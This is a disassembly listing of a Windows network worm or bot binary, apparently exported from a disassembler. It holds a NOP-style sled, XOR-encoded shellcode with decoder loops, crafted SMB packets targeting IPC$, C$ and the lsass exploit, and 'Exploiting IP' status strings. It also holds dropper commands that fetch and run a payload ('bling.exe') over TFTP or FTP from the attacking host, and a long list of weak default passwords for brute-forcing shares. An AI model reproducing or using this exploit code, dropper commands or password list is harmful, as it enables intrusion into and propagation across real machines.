		dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0
		dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0)
a127_0_0_1Ipc:				; DATA XREF: sub_41104D+117o
		unicode	0, <127.0.0.1\IPC$\>
; ---------------------------------------------------------------------------
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp


loc_44A2A0:				; CODE XREF: .XComp0:0044A4A8j
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp


loc_44A473:				; CODE XREF: .XComp0:loc_44A4DBj
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		jmp	loc_44A2A0
; ---------------------------------------------------------------------------
		db 3 dup(45h)
; ---------------------------------------------------------------------------
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp


loc_44A4D1:				; CODE XREF: .XComp0:0044A4DFj
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp
		inc	ebp


loc_44A4D7:				; DATA XREF: sub_41104D+190o
		add	[esp+edx+54h], cl


loc_44A4DB:				; DATA XREF: sub_41104D+17Ao
		jl	short loc_44A473
		mov	ah, 0A1h
		ja	short loc_44A4D1
		mov	eax, ds:0AFA977EDh
		mov	eax, ds:41414177h
		inc	ecx
; ---------------------------------------------------------------------------
		dd 77FCC662h
aTftpFileTransf	db '[TFTP]: File transfer complete to IP: %s',0 ; DATA XREF: sub_41104D+407o
		align 4
aSExploitingIpS	db '[%s]: Exploiting IP: %s.',0 ; DATA XREF: sub_41104D+462o
		align 4
		jmp	short loc_44A54A

; =============== S U B	R O U T	I N E =======================================



sub_44A53A	proc far		; CODE XREF: sub_44A53A:loc_44A54Ap
		pop	ebx
		dec	ebx
		xor	ecx, ecx
		mov	cx, 125h


loc_44A542:				; CODE XREF: sub_44A53A+Cj
		xor	byte ptr [ebx+ecx], 99h
		loop	loc_44A542
		jmp	short loc_44A54F
; ---------------------------------------------------------------------------


loc_44A54A:				; CODE XREF: .XComp0:0044A538j
		call	near ptr sub_44A53A


loc_44A54F:				; CODE XREF: sub_44A53A+Ej
		jo	short loc_44A5B3
		cdq
		cdq
		cdq
		mov	ch, 38h
		test	eax, 12999999h
		fst	dword ptr [ebp+3485E912h]
		adc	dh, cl
		xchg	eax, ecx
		adc	ch, [esi-0Dh]
		popf
		sal	byte ptr [ecx+2], 99h
		cdq
		cdq
		jnp	short loc_44A5D1
		icebp
		stosb
		stosd
		cdq
		cdq
		icebp
		out	dx, al
		jmp	far ptr	128Fh:66CDC6ABh
; ---------------------------------------------------------------------------
		db 71h
		dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh
		dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h
		dd 0F1989999h, 4B9D999Bh
; ---------------------------------------------------------------------------
		adc	dl, [ebp-0Dh]


loc_44A5B3:				; CODE XREF: sub_44A53A:loc_44A54Fj
		mov	eax, ecx
		retf	0CF66h
; ---------------------------------------------------------------------------
		dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h
		dd 7B32C08Ch
		db 64h
; ---------------------------------------------------------------------------


loc_44A5D1:				; CODE XREF: sub_44A53A+35j
		pop	edi
		fnstsw	word ptr [ebp-22982277h]
		mov	ebp, 0BDC510A4h
		rcl	dword ptr [eax], 1
		lds	edi, [ebp-423AEF2Bh]
		leave
		adc	al, 0DDh
		mov	ebp, 0C8C9CD89h
		enter	0FFFFF3C8h, 98h
		enter	66C8h, 0EFh
		test	eax, 9DCF66C8h
		adc	dl, [ebp-0Dh]
		db	66h, 66h
		test	al, 66h
		iret
sub_44A53A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		xchg	eax, ecx
		retf	0CF66h
; ---------------------------------------------------------------------------
		dw 6685h
		dd 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h
		dd 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh,	439A9452h
		dd 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h
		dd 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h, 7597D717h
		dd 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h, 346C9040h
		dd 0F9336075h, 0E05FE07Eh, 0
; ---------------------------------------------------------------------------


loc_44A678:				; DATA XREF: sub_4116B3+16Fo
		jmp	short loc_44A68A

; =============== S U B	R O U T	I N E =======================================



sub_44A67A	proc near		; CODE XREF: sub_44A67A:loc_44A68Ap
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 17Dh


loc_44A682:				; CODE XREF: sub_44A67A+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_44A682
		jmp	short loc_44A68F
; ---------------------------------------------------------------------------


loc_44A68A:				; CODE XREF: .XComp0:loc_44A678j
		call	sub_44A67A


loc_44A68F:				; CODE XREF: sub_44A67A+Ej
		jo	short near ptr dword_44A608+1Eh
		cwde
		cdq
		cdq
		retn
sub_44A67A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0FDh, 38h, 0A9h
		dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh
		dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh,	9AA612C8h
		dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh
		dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h
		dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh
		dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh,	0F34112C3h
		dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh
		dd 999B9E5Eh
dword_44A728	dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh,	6DCE66CAh
					; DATA XREF: sub_4116B3+162o
		dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh,	9D10C089h
		dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h
		dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h
		dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h,	5A59AA77h
		dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh
		dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h
		dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h
		dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h
		dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh
		dd 0FAF6EAFCh, 99EDFCF2h, 0
dword_44A810	dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
					; DATA XREF: .XComp0:00411CFDo
		dd 0FEFF0000h, 0
		dd 2006200h
aPcNetworkPro_0	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWor_0	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_44A89C	dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: .XComp0:00411D3Bo
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows2000219:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_0:
		unicode	0, <Windows 2000 5.0>,0
		align 8
dword_44A948	dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: .XComp0:00411D79o
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
		dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
dword_44AA28	dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_4116B3+8Ao
		dd 0FEFF0000h, 300800h,	5C00FF04h, 1000800h, 3100h, 5C005Ch
		dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h,	310032h
		dd 5C0030h, 500049h
aC_3:					; DATA XREF: sub_4116B3+C0o
		unicode	0, <C$>,0
a?????		db '?????',0
		dd 0
dword_44AA8C	dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_4116B3+39Bo
		dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h,	0
		dd 2019Fh, 3 dup(0)
		dd 3, 1, 40h, 2, 1103h,	6C005Ch, 610073h, 700072h, 63h
		dd 0
dword_44AAF8	dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_4116B3+3DFo
		dd 4DC0800h, 500800h, 48000010h, 0
		dd 4, 2	dup(0)
		dd 48005400h, 2005400h,	2600h, 10005940h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
		dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh,	0F52ED94Fh
		dd 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_44AB9C	dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_4116B3+514o
		dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
		dd 0A0005400h, 200540Ch, 2600h,	100CB140h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
		dd 3ECh, 0
off_44AC1C	dd offset loc_401494+1	; DATA XREF: sub_4116B3+548o
		dd 3, 40707Ch, 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_407079+3
		dd 1, 0
		dd 1, 0
		dd offset loc_407079+3
		dd 1, 0
		dd 1, 0
		dd offset loc_407079+3
		dd 1, 0
		dd 1, 0
		dd 138578h, 0E9A65BABh,	0
dword_44ACB0	dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_4116B3+42Bo
		dd 0FEFF0800h, 600800h,	0DE00FF0Eh, 4000DEh, 0FF000000h
		dd 8FFFFFFh, 10B800h, 4010B800h, 0
		dd 0EE10B900h, 1000005h, 10h, 10B8h, 1,	200Ch, 90000h
		dd 0DADh, 0
		dd 0DADh, 0
dword_44AD1C	dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_4116B3+45Co
		dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
		dd 84005400h, 200540Fh,	2600h, 0F9540h,	50005Ch, 500049h
		dd 5C0045h, 0
		dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0
dword_44AD90	dd 0				dd offset loc_40A89A
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40A89A
		dd 1, 0
		dd 1, 0
		dd offset loc_40A89A
		dd 1, 0
		dd 1, 0
		dd offset loc_40A89A
		dd 1, 0
		dd 1, 2	dup(0)
word_44AE18	dw 0AD9Dh		; DATA XREF: sub_41152D+2Cr
					; sub_4116B3+13Dr
		align 4
		dd 2 dup(0)
aWinxpProfessio	db 'WinXP Professional    [universal] lsass.exe ',0
		align 8
dword_44AE58	dd 1004600h						; sub_4116B3+202o ...
		dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h
		dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h
		dd 6C6C642Eh, 2	dup(0)
		dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h
		dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h
		dd 70617274h, 6C6C642Eh, 2 dup(0)
		dd 751C123Ch, 0Fh dup(0)
aTftpISGetS	db 'tftp -i %s get %s',0Dh,0Ah,0 ; DATA XREF: sub_41152D+A2o
aEchoOpenSDOEch	db 'echo open %s %d > o&echo user 1 1 >> o &echo get bling.exe >> o &'
					; DATA XREF: sub_41152D+CBo
		db 'echo quit >> o &ftp -n -s:o &bling.exe',0Dh,0Ah,0
		align 10h
aS_20		db '%s',0Dh,0Ah,0       ; DATA XREF: sub_41152D+11Do
		align 4
dword_44AF98	dd 1CEC8166h	dword_44AF9C	dd 0E4FF07h	dword_44AFA0	dd 73255C5Ch, 6370695Ch, 24h; ---------------------------------------------------------------------------


loc_44AFAC:				; DATA XREF: sub_4116B3+1E3o
		jmp	short loc_44AFB4
; ---------------------------------------------------------------------------
		jmp	short near ptr word_44AFB6
; ---------------------------------------------------------------------------
		dd 0
; ---------------------------------------------------------------------------


loc_44AFB4:				; CODE XREF: .XComp0:loc_44AFACj
					; DATA XREF: .XComp0:00411EEBo
		jnb	short near ptr aAdm+3
; ---------------------------------------------------------------------------
word_44AFB6	dw 0			; CODE XREF: .XComp0:0044AFAEj
aRoot		db 'root',0             ; DATA XREF: .XComp0:00411EF5o
		align 10h
aAdmin		db 'admin',0            ; DATA XREF: .XComp0:00411EFFo
		align 4
aAdministrator	db 'administrator',0    ; DATA XREF: .XComp0:00411F1Ao
		align 4
aAdministrador	db 'administrador',0    ; DATA XREF: .XComp0:00411F24o
		align 4
aAdministrateur	db 'administrateur',0   ; DATA XREF: .XComp0:00411F2Eo
		align 4
aAdministrat	db 'administrat',0      ; DATA XREF: .XComp0:00411F38o
aAdmins		db 'admins',0           ; DATA XREF: .XComp0:00411F42o
		align 4
aAdmin_0	db 'admin',0            ; DATA XREF: .XComp0:00411F4Co
		align 4
aAdm		db 'adm',0              ; CODE XREF: .XComp0:loc_44AFB4j
					; DATA XREF: .XComp0:00411F56o
aPassword1	db 'password1',0        ; DATA XREF: .XComp0:00411F60o
		align 4
aPassword	db 'password',0         ; DATA XREF: .XComp0:00411F6Ao
		align 10h
aPasswd		db 'passwd',0           ; DATA XREF: .XComp0:00411F74o
		align 4
aPass1234	db 'pass1234',0         ; DATA XREF: .XComp0:00411F7Eo
		align 4
aPass		db 'pass',0             ; DATA XREF: .XComp0:00411F88o
		align 4
aPwd		db 'pwd',0              ; DATA XREF: .XComp0:00411F92o
a007		db '007',0              ; DATA XREF: .XComp0:00411F9Co
a1:					; DATA XREF: .XComp0:00411FA6o
		unicode	0, <1>,0
a12		db '12',0               ; DATA XREF: .XComp0:00411FB0o
		align 4
a123		db '123',0              ; DATA XREF: .XComp0:00411FBAo
a1234		db '1234',0             ; DATA XREF: .XComp0:00411FC4o
		align 4
a12345		db '12345',0            ; DATA XREF: .XComp0:00411FCEo
		align 10h
a123456		db '123456',0           ; DATA XREF: .XComp0:00411FD8o
		align 4
a1234567	db '1234567',0          ; DATA XREF: .XComp0:00411FE2o
a12345678	db '12345678',0         ; DATA XREF: .XComp0:00411FECo
		align 4
a123456789	db '123456789',0        ; DATA XREF: .XComp0:00411FF6o
		align 4
a1234567890	db '1234567890',0       ; DATA XREF: .XComp0:00412000o
		align 4
a2000		db '2000',0             ; DATA XREF: .XComp0:0041200Ao
		align 4
a2001		db '2001',0             ; DATA XREF: .XComp0:00412014o
		align 4
a2002		db '2002',0             ; DATA XREF: .XComp0:0041201Eo
		align 4
a2003		db '2003',0             ; DATA XREF: .XComp0:00412028o
		align 4
a2004		db '2004',0             ; DATA XREF: .XComp0:00412032o
		align 4
aTest		db 'test',0             ; DATA XREF: .XComp0:0041203Co
		align 4
aGuest		db 'guest',0            ; DATA XREF: .XComp0:00412046o
		align 4
aNone		db 'none',0             ; DATA XREF: .XComp0:00412050o
		align 4
aDemo		db 'demo',0             ; DATA XREF: .XComp0:0041205Ao
		align 4
aUnix		db 'unix',0             ; DATA XREF: .XComp0:00412064o
		align 4
aLinux		db 'linux',0            ; DATA XREF: .XComp0:0041206Eo
		align 4
aChangeme	db 'changeme',0         ; DATA XREF: .XComp0:00412078o
		align 4
aDefault	db 'default',0          ; DATA XREF: .XComp0:00412082o
aSystem		db 'system',0           ; DATA XREF: .XComp0:0041208Co
		align 4
aServer_0	db 'server',0           ; DATA XREF: .XComp0:00412096o
		align 10h
aRoot_0		db 'root',0             ; DATA XREF: .XComp0:004120A0o
		align 4
aNull		db 'null',0             ; DATA XREF: .XComp0:004120AAo
		align 10h
aQwerty		db 'qwerty',0           ; DATA XREF: .XComp0:004120B4o
		align 4
aMail		db 'mail',0             ; DATA XREF: .XComp0:004120BEo
		align 10h
aOutlook	db 'outlook',0          ; DATA XREF: .XComp0:004120C8o
aWeb		db 'web',0              ; DATA XREF: .XComp0:004120D2o
aWww		db 'www',0              ; DATA XREF: .XComp0:004120DCo
aInternet	db 'internet',0         ; DATA XREF: .XComp0:004120E6o
		align 4
aAccounts	db 'accounts',0         ; DATA XREF: .XComp0:004120F0o
		align 4
aAccounting	db 'accounting',0       ; DATA XREF: .XComp0:004120FAo
		align 4
aHome		db 'home',0             ; DATA XREF: .XComp0:00412104o
		align 4
aHomeuser	db 'homeuser',0         ; DATA XREF: .XComp0:0041210Eo
		align 4
aUser_0		db 'user',0             ; DATA XREF: .XComp0:00412118o
		align 10h
aOem		db 'oem',0              ; DATA XREF: .XComp0:00412122o
aOemuser	db 'oemuser',0          ; DATA XREF: .XComp0:0041212Co
aOeminstall	db 'oeminstall',0       ; DATA XREF: .XComp0:00412136o
		align 4
aWindows	db 'windows',0          ; DATA XREF: .XComp0:00412140o
aWin98		db 'win98',0            ; DATA XREF: .XComp0:0041214Ao
		align 4
aWin2k		db 'win2k',0            ; DATA XREF: .XComp0:00412154o
		align 10h
aWinxp		db 'winxp',0            ; DATA XREF: .XComp0:0041215Eo
		align 4
aWinnt		db 'winnt',0            ; DATA XREF: .XComp0:00412168o
		align 10h
aWin2000	db 'win2000',0          ; DATA XREF: .XComp0:00412172o
aQaz		db 'qaz',0              ; DATA XREF: .XComp0:0041217Co
aAsd		db 'asd',0              ; DATA XREF: .XComp0:00412186o
aZxc		db 'zxc',0              ; DATA XREF: .XComp0:00412190o
aQwe		db 'qwe',0              ; DATA XREF: .XComp0:0041219Ao
aBob		db 'bob',0              ; DATA XREF: .XComp0:004121A4o
aJen		db 'jen',0              ; DATA XREF: .XComp0:004121AEo
aJoe		db 'joe',0              ; DATA XREF: .XComp0:004121B8o
aFred		db 'fred',0             ; DATA XREF: .XComp0:004121C2o
		align 4
aBill		db 'bill',0             ; DATA XREF: .XComp0:004121CCo
		align 4
aMike		db 'mike',0             ; DATA XREF: .XComp0:004121D6o
		align 4
aJohn		db 'john',0             ; DATA XREF: .XComp0:004121E0o
		align 4
aPeter		db 'peter',0            ; DATA XREF: .XComp0:004121EAo
		align 4
aLuke		db 'luke',0             ; DATA XREF: .XComp0:004121F4o
		align 4
aSam		db 'sam',0              ; DATA XREF: .XComp0:004121FEo
aSue		db 'sue',0              ; DATA XREF: .XComp0:00412208o
aSusan		db 'susan',0            ; DATA XREF: .XComp0:00412212o
		align 4
aPeter_0	db 'peter',0            ; DATA XREF: .XComp0:0041221Co
		align 4
aBrian		db 'brian',0            ; DATA XREF: .XComp0:00412226o
		align 4
aLee		db 'lee',0              ; DATA XREF: .XComp0:00412230o
aNeil		db 'neil',0             ; DATA XREF: .XComp0:0041223Ao
		align 10h
aIan		db 'ian',0              ; DATA XREF: .XComp0:00412244o
aChris		db 'chris',0            ; DATA XREF: .XComp0:0041224Eo
		align 4
aEric		db 'eric',0             ; DATA XREF: .XComp0:00412258o
		align 4
aGeorge		db 'george',0           ; DATA XREF: .XComp0:00412262o
		align 4
aKate		db 'kate',0             ; DATA XREF: .XComp0:0041226Co
		align 4
aBob_0		db 'bob',0              ; DATA XREF: .XComp0:00412276o
aKatie		db 'katie',0            ; DATA XREF: .XComp0:00412280o
